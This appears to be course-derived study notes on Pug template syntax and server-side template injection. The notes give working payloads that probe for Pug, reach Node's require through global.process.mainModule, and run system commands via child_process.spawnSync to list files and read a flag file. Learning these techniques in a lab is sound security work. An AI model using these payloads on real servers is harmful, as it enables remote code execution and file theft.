Pug
Syntax
The content below is based on OffSec's WEB-200 course.
Pug is specially-designed to generate HTML files and that is why it has syntax for specifying an HTML tag and tag attributes. Some things to note:
Pug requires the first word to be the HTML tag that will wrap the following data (e.g.
h1
).It allows us to pass tag attributes within parantheses after the tag declaration (
input(type='hidden' name='admin' value='true')
.Keywords like
if
andelse
are not treated as HTML tags.Puge can execute JavaScript code directly.
With the dash character (
-
) the code will be executed by the JavaScript engine and the output won't be displayed (unbuffered code) (- secret = ['❤️','😍', '🤟']
).With the equal sign (
=
) the code will be execute and the output will be displayed (buffered code) (= secret = ['❤️','😍', '🤟']
).
h1 Hello, #{name}
input(type='hidden' name='admin' value='true')
if showSecret
- secret = ['❤️','😍', '🤟']
p The secrets are:
each val in secret
p #{val}
else
p No secret for you!
SSTI
The example below is based on OffSec's WEB-200 course.
Pug requires each line to start with an HTML tag and it uses JavaScript which handles in a non-strict way. Thus, we can use a simple payload such as #{7*'7'}
and it is executed to 49
and wrapped around <>
, we can infer that Pug is used (Figure 1).

Pug is typically rendering on the server-side and since we know that it uses NodeJS, we can use the child_process.spawnSync
command to execute system commands. The child_process
module is not available by default, but we can import it via the require
function, if the latter exists (Figure 2).
= require

require
function is available.It seems that we don't have direct access to require
but we can still access it through global.process.mainModule
(Figure 3).
= global.process.mainModule.require

require
via the global
object.Next, we can use require
to import child_process
, and use the latter for execute system commands (Figure 4).
- var require = global.process.mainModule.require
= require('child_process').spawnSync('ls').stdout

To read the flag we need to pass the file as a command argument.
- var require = global.process.mainModule.require
= require('child_process').spawnSync('cat',['flag.txt']).stdout
Last updated
Was this helpful?